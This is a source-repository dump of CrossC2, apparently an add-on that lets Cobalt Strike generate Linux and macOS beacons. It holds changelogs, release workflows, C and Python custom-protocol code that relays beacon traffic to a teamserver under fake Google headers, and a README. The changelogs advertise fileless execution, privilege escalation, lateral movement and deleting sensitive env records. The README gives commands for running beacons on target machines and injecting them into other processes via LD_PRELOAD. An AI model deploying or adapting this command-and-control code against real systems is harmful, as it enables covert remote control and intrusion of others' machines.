82 | - -修复 Linux genCrossC2.Linux 崩溃的bug.
83 | - -修复 大文件上传时末尾字节写入不全的bug.
84 | - +支持 GUI的文件管理器.
85 |
86 |
87 |
release v0.1 :
88 |
89 |
90 | - 支持 生成 Linux & MacOS beacon.
91 |
92 |
93 |
94 |
95 |
96 |
--------------------------------------------------------------------------------
/.github/workflows/update-crossc2-release.yml:
--------------------------------------------------------------------------------
1 | on:
2 | push:
3 | branches:
4 | - cs4.1
5 | paths:
6 | - 'src/CrossC2.cna'
7 |
8 | name: Create CrossC2 Release
9 |
10 | jobs:
11 | build:
12 | name: Update Release
13 | runs-on: ubuntu-latest
14 | steps:
15 | - name: Checkout code
16 | uses: actions/checkout@v2
17 | - name: Get current date
18 | id: date
19 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
20 | - name: Build project # This would actually build your project, using zip for an example artifact
21 | run: |
22 | echo 1 > blank
23 | - name: Gets latest created release info
24 | id: latest_release_info
25 | uses: jossef/action-latest-release-info@v1.1.0
26 | env:
27 | GITHUB_TOKEN: ${{ github.token }}
28 | - name: Create a placeholder file
29 | id: create-placeholder-file
30 | uses: actions/upload-release-asset@v1
31 | env:
32 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
33 | with:
34 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
35 | asset_path: ./blank
36 | asset_name: placeholder
37 | asset_content_type: application/zip
38 | - name: Delete old release assets
39 | uses: mknejp/delete-release-assets@v1
40 | with:
41 | token: ${{ github.token }}
42 | tag: ${{ steps.latest_release_info.outputs.tag_name }}
43 | assets: |
44 | CrossC2-GithubBot-*.cna
45 | placeholder
46 | - name: Upload Release Asset
47 | id: upload-release-asset
48 | uses: actions/upload-release-asset@v1
49 | env:
50 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
51 | with:
52 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
53 | asset_path: src/CrossC2.cna
54 | asset_name: CrossC2-GithubBot-${{ steps.date.outputs.date }}.cna
55 | asset_content_type: application/zip
56 |
57 |
58 |
--------------------------------------------------------------------------------
/.github/workflows/update-crossc2kit-release.yml:
--------------------------------------------------------------------------------
1 | on:
2 | push:
3 | branches:
4 | - cs4.1
5 | paths:
6 | - 'CrossC2Kit/**'
7 | - '!CrossC2Kit/README.md'
8 |
9 | name: Update CrossC2Kit Release
10 |
11 | jobs:
12 | build:
13 | name: Update Release
14 | runs-on: ubuntu-latest
15 | steps:
16 | - name: Checkout code
17 | uses: actions/checkout@v2
18 | - name: Get current date
19 | id: date
20 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
21 | - name: Build project # This would actually build your project, using zip for an example artifact
22 | run: |
23 | zip -r CrossC2Kit-${{ steps.date.outputs.date }} CrossC2Kit/
24 | echo 1 > blank
25 | - name: Gets latest created release info
26 | id: latest_release_info
27 | uses: jossef/action-latest-release-info@v1.1.0
28 | env:
29 | GITHUB_TOKEN: ${{ github.token }}
30 | - name: Create a placeholder file
31 | id: create-placeholder-file
32 | uses: actions/upload-release-asset@v1
33 | env:
34 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
35 | with:
36 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
37 | asset_path: ./blank
38 | asset_name: placeholder
39 | asset_content_type: application/zip
40 | - name: Delete old release assets
41 | uses: mknejp/delete-release-assets@v1
42 | with:
43 | token: ${{ github.token }}
44 | tag: ${{ steps.latest_release_info.outputs.tag_name }}
45 | assets: |
46 | CrossC2Kit-GithubBot-*.zip
47 | placeholder
48 | - name: Upload Release Asset
49 | id: upload-release-asset
50 | uses: actions/upload-release-asset@v1
51 | env:
52 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
53 | with:
54 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
55 | asset_path: ./CrossC2Kit-${{ steps.date.outputs.date }}.zip
56 | asset_name: CrossC2Kit-GithubBot-${{ steps.date.outputs.date }}.zip
57 | asset_content_type: application/zip
58 |
--------------------------------------------------------------------------------
/protocol_demo/c2profile.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | void cc2_rebind_http_get_send(char *reqData, char **outputData, long long *outputData_len) {
7 | //修改请求URL和c2profile文件中一致
8 | char *requestBody = "GET /%s HTTP/1.1\r\n"
9 | "Host: www.google.com\r\n"
10 | "Accept: accccccc\r\n"
11 | "Accept-Encoding: gzip, br\r\n"
12 | "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"
13 | "Cookie: SESSION=%s\r\n"
14 | "Referer: https://www.google.com/\r\n"
15 | "Connection: close\r\n\r\n";
16 | char postPayload[20000];
17 | sprintf(postPayload, requestBody, "aaaaaaaaa", reqData);
18 |
19 | *outputData_len = strlen(postPayload);
20 | *outputData = (char *)calloc(1, *outputData_len);
21 | memcpy(*outputData, postPayload, *outputData_len);
22 |
23 | }
24 | void cc2_rebind_http_post_send(char *reqData, char *id, char **outputData, long long *outputData_len) {
25 | char *requestBody = "POST /%s?SESSION=%s HTTP/1.1\r\n"
26 | "Host: www.google.com\r\n"
27 | "Accept: accccccc\r\n"
28 | "Accept-Encoding: gzip, br\r\n"
29 | "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1\r\n"
30 | "Referer: https://www.google.com/\r\n"
31 | "Connection: close\r\n"
32 | "Content-Length: %d\r\n\r\n%s";
33 | char *postPayload = (char *)calloc(1, strlen(requestBody)+strlen(reqData)+200);
34 | sprintf(postPayload, requestBody, "bbbbbbbbb", id, strlen(reqData), reqData);
35 |
36 | *outputData_len = strlen(postPayload);
37 | *outputData = (char *)calloc(1, *outputData_len);
38 | memcpy(*outputData, postPayload, *outputData_len);
39 | free(postPayload);
40 | }
41 |
42 | char *find_payload(char *rawData, long long rawData_len, char *start, char *end, long long *payload_len) {
43 |
44 | //find_payload() 从原始数据中,找到以"ffffffff1"字符串开始,"eeeeeeee2"字符串结束中间包含的数据
45 |
46 | // ffffffff1AAAABBBBCCCCDDDDeeeeeeee2 -> AAAABBBBCCCCDDDD
47 |
48 | // *payload_len = xx; // 返回找到的payload长度
49 | // return payload; // 返回找到的payload
50 |
51 | rawData = strstr(rawData, start) + strlen(start);
52 |
53 | *payload_len = strlen(rawData) - strlen(strstr(rawData, end));
54 |
55 | char *payload = (char *)calloc(*payload_len ,sizeof(char));
56 | memcpy(payload, rawData, *payload_len);
57 | return payload;
58 | }
59 |
60 | void cc2_rebind_http_get_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
61 |
62 | char *start = "ffffffff1";
63 | char *end = "eeeeeeee2";
64 |
65 | long long payload_len = 0;
66 | *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
67 | *outputData_len = payload_len;
68 | }
69 |
70 | void cc2_rebind_http_post_recv(char *rawData, long long rawData_len, char **outputData, long long *outputData_len) {
71 |
72 | char *start = "ffffffff1";
73 | char *end = "eeeeeeee2";
74 |
75 | long long payload_len = 0;
76 | *outputData = find_payload(rawData, rawData_len, start, end, &payload_len);
77 | *outputData_len = payload_len;
78 | }
--------------------------------------------------------------------------------
/.github/workflows/create-base-release.yml:
--------------------------------------------------------------------------------
1 | on:
2 | release:
3 | types:
4 | published
5 |
6 | name: Create Base Release
7 |
8 | jobs:
9 | build:
10 | name: Update Release
11 | runs-on: ubuntu-latest
12 | steps:
13 | - name: Checkout code
14 | uses: actions/checkout@v2
15 | - name: Get current date
16 | id: date
17 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
18 | - name: Build project # This would actually build your project, using zip for an example artifact
19 | run: |
20 | zip -r CrossC2Kit-${{ steps.date.outputs.date }} CrossC2Kit/
21 | echo 1 > blank
22 | - name: Gets latest created release info
23 | id: latest_release_info
24 | uses: jossef/action-latest-release-info@v1.1.0
25 | env:
26 | GITHUB_TOKEN: ${{ github.token }}
27 | - name: Create a placeholder file
28 | id: create-placeholder-file
29 | uses: actions/upload-release-asset@v1
30 | env:
31 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
32 | with:
33 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
34 | asset_path: ./blank
35 | asset_name: placeholder
36 | asset_content_type: application/zip
37 | - name: Delete old release assets
38 | uses: mknejp/delete-release-assets@v1
39 | with:
40 | token: ${{ github.token }}
41 | tag: ${{ steps.latest_release_info.outputs.tag_name }}
42 | assets: |
43 | CrossC2Kit-GithubBot-*.zip
44 | CrossC2-GithubBot-*.cna
45 | placeholder
46 | - name: Upload CrossC2Kit Release Asset
47 | id: upload-release-asset
48 | uses: actions/upload-release-asset@v1
49 | env:
50 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
51 | with:
52 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
53 | asset_path: ./CrossC2Kit-${{ steps.date.outputs.date }}.zip
54 | asset_name: CrossC2Kit-GithubBot-${{ steps.date.outputs.date }}.zip
55 | asset_content_type: application/zip
56 | - name: Upload CrossC2 Release Asset
57 | id: upload-release-asset2
58 | uses: actions/upload-release-asset@v1
59 | env:
60 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
61 | with:
62 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
63 | asset_path: src/CrossC2.cna
64 | asset_name: CrossC2-GithubBot-${{ steps.date.outputs.date }}.cna
65 | asset_content_type: application/zip
66 |
--------------------------------------------------------------------------------
/changelog_en.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
ChangeLog
5 |
6 |
release v2.0 :
7 |
8 |
9 | - -fix Fix the problem of path errors caused by backslashes when uploading files in the file management office
10 | - -fix Long-term testing in various scenarios in the real environment, fixing some hidden problems, and now more stable
11 | - +support Support for lower kernel version systems
12 | - +support Environment variables are automatically set at startup
13 | - +support Delete sensitive env records at startup
14 | - +support The background service process can be linked to the init process at startup
15 | - +support Increase session spawn function
16 | - +support Increase the function of session setting environment variables
17 | - +support Increase the privilege escalation function of session getsystem
18 | - +support Increase session analysis function to handle multiple merge tasks
19 | - +support Increase Mac & Linux lateral movement function
20 |
21 |
22 |
release v1.5 :
23 |
24 |
25 | - -fix genCrossC2's bug about protocol rebinding.
26 |
27 |
28 |
release v1.4 :
29 |
30 |
31 | - -fix Linux daemon process and joblist display problem.
32 |
33 |
34 |
release v1.3 :
35 |
36 |
37 | - +support Support custom communication protocol (HTTP, TCP, UDP...) .
38 | - +support A new joblist module has been added to manage programs running without files in persistent memory.
39 | - +support Reverse proxy module{TCP/KCP(UDP)} that executes without files in memory.
40 |
41 |
42 |
release v1.2 :
43 |
44 |
45 | - +support Support manual selection of key files.
46 | - +support Support to generate shellcode.
47 | - -change No longer rely on cobaltstrike.jar (plug-ins can be placed in any directory).
48 | - -change More flexible and convenient Script Unix Web Delivery.
49 |
50 |
51 |
release v1.1 :
52 |
53 |
54 | - -fix Multi-language garbled problem fix for memory load execution function
55 |
56 |
57 |
release v1.0 :
58 |
59 |
60 | - -fix Test multiple times for a long time in multiple scenarios in real environment, fix some hidden problems, now more stable
61 | - +support Linux & MacOS Supports no file landing, loading and executing from memory
62 | - +support Reserved CS built-in data types, richer user-defined plug-in return data types, free and easy to implement 'portscan' and other native functions
63 |
64 |
65 |
release v0.4 :
66 |
67 |
68 | - -change Multi-threaded background when shell commands are executed
69 | - -change Redirect error output to standard output when shell command is executed.
70 | - +support Add background file download function.
71 |
72 |
73 |
release v0.3 :
74 |
75 |
76 | - +support Compatibility with older versions of GLIBC on older systems Linux (around 2010).
77 |
78 |
79 |
release v0.2 :
80 |
81 |
82 | - -fix genCrossC2.Linux crash.
83 | - -fix uploading large file error.
84 | - +support GUI file manager.
85 |
86 |
87 |
release v0.1 :
88 |
89 |
90 | - Support Linux & MacOS beacon generation.
91 |
92 |
93 |
94 |
95 |
96 |
--------------------------------------------------------------------------------
/protocol_demo/rebind_udp.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | int sendUDP(char *hostIP, int port, int msgType, char *request, int request_len, char **response, int *response_len) {
10 | *response_len = 0;
11 | int sockfd, n;
12 | struct sockaddr_in servaddr;
13 | char recvline[1024];
14 | if((sockfd = socket(AF_INET,SOCK_DGRAM,0)) < 0) {
15 | printf("socket error\n");
16 | return -1;
17 | }
18 |
19 | bzero(&servaddr,sizeof(servaddr));
20 | servaddr.sin_family = AF_INET;
21 | servaddr.sin_port = htons(port);
22 | printf("socket: host: %s\nport:%d\npostData:%s\n",hostIP, port, request);
23 | if(inet_pton(AF_INET,hostIP,&servaddr.sin_addr) <= 0) {
24 | printf("inet_pton error\n");
25 | return -1;
26 | }
27 |
28 | // send msgType GET/POST
29 | // msgType = 1 read_2_cs_teamserver
30 | // msgType = 2 write_2_cs_teamserver
31 | char *msgHeader = NULL;
32 | if (msgType == 1) {
33 | msgHeader = "read|||";
34 | } else {
35 | msgHeader = "write||";
36 | }
37 | printf("send msgHeader(msgType = %s)\n", msgHeader);
38 | sendto(sockfd, msgHeader, strlen(msgHeader), 0,(struct sockaddr *)&servaddr, sizeof(servaddr));
39 | printf("send msgBody\n");
40 | sendto(sockfd, request, strlen(request), 0,(struct sockaddr *)&servaddr, sizeof(servaddr));
41 | char *response_t = NULL;
42 | do
43 | {
44 | n = recvfrom(sockfd, recvline, 1024, 0, NULL, NULL);
45 | *response_len += n;
46 | response_t = (char *)realloc(response_t, *response_len + 1);
47 | char *temp_ptr = response_t + (*response_len - n);
48 | memcpy(temp_ptr, recvline, n);
49 | } while (n > 0);
50 | response_t[*response_len] = 0;
51 | *response = response_t;
52 | if (*response_len > 0)
53 | *response_len = *response_len - 1;
54 | close(sockfd);
55 | return 1;
56 | }
57 |
58 | void cc2_rebind_get_protocol(char *reqData, char **outputData, long long *outputData_len) {
59 | printf("------ custom get protocol ------\n");
60 | // 8.8.8.8 replaced with the real proxy_server ip
61 | sendUDP("8.8.8.8", 7777, 1, reqData, strlen(reqData), outputData, outputData_len);
62 | if (*outputData_len > 0) {
63 | printf("http response(%d): \n", *outputData_len);
64 | printf("-----end-----\n");
65 | printf("\nb64 response: %s\n", *outputData);
66 | }
67 | printf("------ custom protocol ------\n");
68 | }
69 | void cc2_rebind_post_protocol(char *reqData, char *id, char **outputData, long long *outputData_len) {
70 | printf("------ custom post protocol ------\n");
71 | // printf("post Data: %s\n", reqData);
72 |
73 | char *split = "->|<-";
74 | char *rawData = (char *)calloc(1, strlen(reqData)+strlen(id)+strlen(split)+1);
75 | strncpy(rawData, id, strlen(id));
76 | strncpy(rawData+strlen(id), split, strlen(split));
77 | strncpy(rawData+strlen(id)+strlen(split), reqData, strlen(reqData));
78 |
79 | // 8.8.8.8 replaced with the real proxy_server ip
80 | sendUDP("8.8.8.8", 7777, 2, rawData, strlen(rawData), outputData, outputData_len);
81 | if (*outputData_len > 0) {
82 | printf("http response(%d): \n", *outputData_len);
83 | printf("-----end-----\n");
84 | printf("\nb64 response: %s\n", *outputData);
85 | }
86 | free(rawData);
87 | rawData = NULL;
88 | printf("------ custom protocol ------\n");
89 | }
--------------------------------------------------------------------------------
/protocol_demo/rebind_tcp.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 |
10 | int sendTCP(char *hostIP, int port, int msgType, char *request, int request_len, char **response, int *response_len) {
11 | *response_len = 0;
12 | int sockfd, n;
13 | struct sockaddr_in servaddr;
14 | char recvline[1024];
15 | if((sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0) {
16 | printf("socket error\n");
17 | return -1;
18 | }
19 |
20 | bzero(&servaddr,sizeof(servaddr));
21 | servaddr.sin_family = AF_INET;
22 | servaddr.sin_port = htons(port);
23 | printf("socket: host: %s\nport:%d\npostData:%s\n",hostIP, port, request);
24 | if(inet_pton(AF_INET,hostIP,&servaddr.sin_addr) <= 0) {
25 | printf("inet_pton error\n");
26 | return -1;
27 | }
28 |
29 | if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < 0) {
30 | printf("connect error\n");
31 | return -1;
32 | }
33 |
34 | // send msgType GET/POST
35 | // msgType = 1 read_2_cs_teamserver
36 | // msgType = 2 write_2_cs_teamserver
37 | char *msgHeader = NULL;
38 | if (msgType == 1) {
39 | msgHeader = "read|||";
40 | } else {
41 | msgHeader = "write||";
42 | }
43 | printf("send msgHeader(msgType = %s)\n", msgHeader);
44 | write(sockfd, msgHeader, strlen(msgHeader));
45 | printf("send msgBody\n");
46 | write(sockfd, request, request_len);
47 | char *response_t = NULL;
48 | do
49 | {
50 | n = read(sockfd,recvline,1024);
51 | *response_len += n;
52 | response_t = (char *)realloc(response_t, *response_len + 1);
53 | char *temp_ptr = response_t + (*response_len - n);
54 | memcpy(temp_ptr, recvline, n);
55 | } while (n > 0);
56 | response_t[*response_len] = 0;
57 | *response = response_t;
58 | if (*response_len > 0)
59 | *response_len = *response_len - 1;
60 | close(sockfd);
61 | return 1;
62 | }
63 |
64 | void cc2_rebind_get_protocol(char *reqData, char **outputData, long long *outputData_len) {
65 | printf("------ custom get protocol ------\n");
66 | // 8.8.8.8 replaced with the real proxy_server ip
67 | sendTCP("8.8.8.8", 7777, 1, reqData, strlen(reqData), outputData, outputData_len);
68 | if (*outputData_len > 0) {
69 | printf("http response(%d): \n", *outputData_len);
70 | printf("-----end-----\n");
71 | printf("\nb64 response: %s\n", *outputData);
72 | }
73 | printf("------ custom protocol ------\n");
74 | }
75 | void cc2_rebind_post_protocol(char *reqData, char *id, char **outputData, long long *outputData_len) {
76 | printf("------ custom post protocol ------\n");
77 | // printf("post Data: %s\n", reqData);
78 |
79 | char *split = "->|<-";
80 | char *rawData = (char *)calloc(1, strlen(reqData)+strlen(id)+strlen(split)+1);
81 | strncpy(rawData, id, strlen(id));
82 | strncpy(rawData+strlen(id), split, strlen(split));
83 | strncpy(rawData+strlen(id)+strlen(split), reqData, strlen(reqData));
84 |
85 | // 8.8.8.8 replaced with the real proxy_server ip
86 | sendTCP("8.8.8.8", 7777, 2, rawData, strlen(rawData), outputData, outputData_len);
87 | if (*outputData_len > 0) {
88 | printf("http response(%d): \n", *outputData_len);
89 | printf("-----end-----\n");
90 | printf("\nb64 response: %s\n", *outputData);
91 | }
92 | free(rawData);
93 | rawData = NULL;
94 | printf("------ custom protocol ------\n");
95 | }
--------------------------------------------------------------------------------
/protocol_demo/proxy_tcp.py:
--------------------------------------------------------------------------------
1 | # -*- coding: UTF-8 -*-
2 | import socket
3 | import struct
4 | import requests
5 | import time
6 | import base64
7 |
8 | def read_tcp_cc2(s):
9 | recvdata = s.recv(10024)
10 | return recvdata
11 |
12 | def write_tcp_cc2(s, data):
13 | s.send(data)
14 |
15 |
16 | def read_udp_cc2(s):
17 | recvdata,_ = s.recvfrom(10024)
18 | return recvdata
19 |
20 |
21 | def write_udp_cc2(s, data, addr):
22 | s.sendto(data, addr)
23 |
24 |
25 | def find_beacon_data(prefix, suffix, data):
26 | s_index = data.find(prefix) + 1 # 1 = mask
27 | s_end = data.find(suffix)
28 | beacon_data = ''
29 | if (s_index > 0 and s_end > 0 and (s_index + len(prefix) + 1) != s_end):
30 | beacon_data = data[s_index + len(prefix):s_end]
31 | print('s_index = {}, s_end = {}', s_index, s_end)
32 | return beacon_data
33 |
34 | def read_cs_teamserver(metadata):
35 | headers = { "HOST": "www.google.com",
36 | "Referer": "http://www.google.com/",
37 | "Accept": "accccccc",
38 | "User-Agent": "cc2_rebind_protocol_get_send",
39 | "Cookie": "SESSION={}".format(metadata),
40 | "Connection": "cc2_rebind_protocol_get_send"
41 | }
42 | res = requests.get("http://127.0.0.1:443/aaaaaaaaa", headers=headers)
43 |
44 | start = "ffffffff1"
45 | end = "eeeeeeee2"
46 | beacon_data = find_beacon_data(start, end, res.content)
47 | return beacon_data
48 |
49 |
50 | def write_cs_teamserver(id, metadata):
51 | headers = { "HOST": "www.google.com",
52 | "Referer": "http://www.google.com/",
53 | "Accept": "accccccc",
54 | "User-Agent": "cc2_rebind_protocol_post_send",
55 | "Connection": "keep-alive",
56 | "Content-Length": "{}".format(len(metadata))
57 | }
58 | res = requests.post("http://127.0.0.1:443/bbbbbbbbb?SESSION={}".format(id), headers=headers, data=metadata)
59 |
60 |
61 | def parseRawData(rawData):
62 | split = '->|<-'
63 | split_index = rawData.find(split)
64 | bid = rawData[:split_index]
65 | metadata = rawData[len(split)+split_index:]
66 | return bid,metadata
67 |
68 |
69 | def cc2_tcp_server():
70 | print 'CrossC2 beacon TCP Server start:'
71 | sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
72 | sockobj.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
73 |
74 | sockobj.bind(('127.0.0.1', 7777))
75 | sockobj.listen(1000)
76 |
77 | while True:
78 | connection, address = sockobj.accept( )
79 | print 'cc2 client alive: ', address
80 |
81 | msgHeader = connection.recv(7)
82 | print('msgHeader == ' + msgHeader)
83 | if msgHeader == 'read|||':
84 | data = read_tcp_cc2(connection)
85 | metadata = read_cs_teamserver(data)
86 | if len(metadata) > 0:
87 | print('beacon data : '+metadata)
88 | write_tcp_cc2(connection, metadata)
89 | elif msgHeader == 'write||':
90 | rawData = read_tcp_cc2(connection)
91 | bid, metadata = parseRawData(rawData)
92 | if len(metadata) > 0 and len(bid) > 0:
93 | # print('beacon raw: ' + rawData)
94 | # print('beacon post data: ' + metadata)
95 | # print('beacon id: ' + bid)
96 | write_cs_teamserver(bid, metadata)
97 | connection.close()
98 |
99 | def main():
100 | # run on teamserver
101 | cc2_tcp_server()
102 |
103 |
104 | if __name__ == '__main__':
105 | main()
106 |
--------------------------------------------------------------------------------
/protocol_demo/proxy_udp.py:
--------------------------------------------------------------------------------
1 | # -*- coding: UTF-8 -*-
2 | import socket
3 | import struct
4 | import requests
5 | import time
6 | import base64
7 |
8 | def read_tcp_cc2(s):
9 | recvdata = s.recv(10024)
10 | return recvdata
11 |
12 | def write_tcp_cc2(s, data):
13 | s.send(data)
14 |
15 |
16 | def read_udp_cc2(s):
17 | recvdata,_ = s.recvfrom(10024)
18 | return recvdata
19 |
20 |
21 | def write_udp_cc2(s, data, addr):
22 | s.sendto(data, addr)
23 |
24 |
25 | def find_beacon_data(prefix, suffix, data):
26 | s_index = data.find(prefix) + 1 # 1 = mask
27 | s_end = data.find(suffix)
28 | beacon_data = ''
29 | if (s_index > 0 and s_end > 0 and (s_index + len(prefix) + 1) != s_end):
30 | beacon_data = data[s_index + len(prefix):s_end]
31 | print('s_index = {}, s_end = {}', s_index, s_end)
32 | return beacon_data
33 |
34 | def read_cs_teamserver(metadata):
35 | headers = { "HOST": "www.google.com",
36 | "Referer": "http://www.google.com/",
37 | "Accept": "accccccc",
38 | "User-Agent": "cc2_rebind_protocol_get_send",
39 | "Cookie": "SESSION={}".format(metadata),
40 | "Connection": "cc2_rebind_protocol_get_send"
41 | }
42 | res = requests.get("http://127.0.0.1:443/aaaaaaaaa", headers=headers)
43 |
44 | start = "ffffffff1"
45 | end = "eeeeeeee2"
46 | beacon_data = find_beacon_data(start, end, res.content)
47 | return beacon_data
48 |
49 |
50 | def write_cs_teamserver(id, metadata):
51 | headers = { "HOST": "www.google.com",
52 | "Referer": "http://www.google.com/",
53 | "Accept": "accccccc",
54 | "User-Agent": "cc2_rebind_protocol_post_send",
55 | "Connection": "keep-alive",
56 | "Content-Length": "{}".format(len(metadata))
57 | }
58 | res = requests.post("http://127.0.0.1:443/bbbbbbbbb?SESSION={}".format(id), headers=headers, data=metadata)
59 |
60 |
61 | def parseRawData(rawData):
62 | split = '->|<-'
63 | split_index = rawData.find(split)
64 | bid = rawData[:split_index]
65 | metadata = rawData[len(split)+split_index:]
66 | return bid,metadata
67 |
68 | def cc2_udp_server():
69 | print 'CrossC2 beacon UDP Server start:'
70 | sockobj = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
71 | sockobj.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
72 |
73 | sockobj.bind(('127.0.0.1', 7777))
74 |
75 | while True:
76 | msgHeader, address = sockobj.recvfrom(7)
77 | print 'cc2 client alive: ', address
78 | print('msgHeader == ' + msgHeader)
79 | if msgHeader == 'read|||':
80 | data = read_udp_cc2(sockobj)
81 | print('Receive MSG from cc2_beacon: %s'%data)
82 | metadata = read_cs_teamserver(data)
83 | if len(metadata) > 0:
84 | print('beacon data : '+metadata)
85 | write_udp_cc2(sockobj, metadata, address)
86 | write_udp_cc2(sockobj, '', address)
87 | else:
88 | write_udp_cc2(sockobj, '', address)
89 | elif msgHeader == 'write||':
90 | rawData = read_udp_cc2(sockobj)
91 | bid, metadata = parseRawData(rawData)
92 | if len(metadata) > 0 and len(bid) > 0:
93 | print('beacon raw: ' + rawData)
94 | print('beacon post data: ' + metadata)
95 | print('beacon id: ' + bid)
96 | write_cs_teamserver(bid, metadata)
97 |
98 | def main():
99 | # run on teamserver
100 | cc2_udp_server()
101 |
102 |
103 | if __name__ == '__main__':
104 | main()
105 |
--------------------------------------------------------------------------------
/README_zh.md:
--------------------------------------------------------------------------------
1 | # CrossC2 framework
2 |
3 | 
4 | 
5 | [](https://GitHub.com/gloxec/CrossC2/issues?q=is%3Aissue+is%3Aclosed)
6 | [](https://github.com/gloxec/CrossC2/releases/latest)
7 | [](https://github.com/gloxec/CrossC2/releases/latest)
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | [README](README.md) | [中文文档](README_zh.md) | [README_FULL](README_full.md) | [中文完整文档](README_zh_full.md)
17 |
18 |
19 | # CobaltStrike 支持说明
20 |
21 | 支持CobaltStrike对其他平台(Linux/MacOS/...)的安全评估,及包含Unix后渗透模块开发支持
22 |
23 | | | CS3.14(bug fixes) | CS4.0 | CS4.X (4.1~4.8) |
24 | |-----------------|----------|-------|---------------|
25 | | Master分支 | ✅ | | |
26 | | cs4.0分支 | | ✅ | |
27 | | cs4.1分支 | | | ✅ |
28 | | | | | |
29 | | Release 页面 <= v2.1 | ✅ | | |
30 | | Release 页面 >= v2.2 | | | ✅ |
31 |
32 | 
33 |
34 |
35 | # Usage
36 |
37 | Usage 链接:
38 |
39 | > 1. 下载
40 |
41 | 从 [Release页面](https://github.com/gloxec/CrossC2/releases) 下载:
42 |
43 | 1. **genCrossC2** (beacon生成器)
44 | 2. **CrossC2.cna** (GUI生成器插件) 修改`CrossC2.cna`配置并加载
45 | 3. **CrossC2Kit** (CrossC2相关插件) 加载 `CrossC2Kit_loader.cna`
46 |
47 | > 2. 创建listener与拷贝key
48 |
49 | * 创建`windows/beacon_https/reverse_https` listener
50 | * 拷贝**teamserver目录**的 `.cobaltstrike.beacon_keys`到**本地**
51 |
52 | > 3. 功能扩展
53 |
54 | * 添加`CrossC2Kit_Loader.cna`, 包含内存加载等其它功能
55 | * `cs4.x`版本文件管理、进程列表功能被CS官方移除,必须使用此Loader来重启
56 |
57 | > 4. 生成beacon
58 |
59 | 默认使用cli或cna提供的GUI功能生成beacon
60 |
61 | `genCrossC2 `
62 |
63 | ex:
64 |
65 | ```
66 | 1. 从当前路径读取beacon Key并生成默认profile流量协议的beacon
67 | genCrossC2 127.0.0.1 5555 null null Linux x64 beacon.out
68 |
69 | 2. 指定自定义协议动态库的beacon
70 | genCrossC2 127.0.0.1 5555 .cobaltstrike.beacon_keys c2profile.so MacOS x64 beacon.out
71 |
72 | 3. 指定需要自动解析的c2profile
73 | genCrossC2 www.example.com 443 .cobaltstrike.beacon_keys ";;c2profile.profile" Linux x64 beacon.out
74 | ```
75 |
76 | 更多高级配置具体可见文档: [📄文档](https://github.com/gloxec/CrossC2/wiki/genCrossC2_zh)
77 |
78 | > 5. 运行beacon
79 |
80 | * 在目标上运行CrossC2插件生成的一键上线脚本
81 | * 上传beacon至目标机器后进行赋权运行
82 | * 以动态库方式注入其他进程执行: `LD_PRELOAD=/tmp/c2.so java`
83 | * 为beacon设定工作目录并运行: `export CCPATH=/opt/ && /tmp/c2`
84 | * 为beacon临时指定协议库并运行: `/tmp/c2 /tmp/c2-rebind.so`
85 | * 为beacon临时设定C2配置: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2`
86 |
87 | # CrossC2Kit
88 |
89 | CrossC2Kit: https://github.com/CrossC2/CrossC2Kit
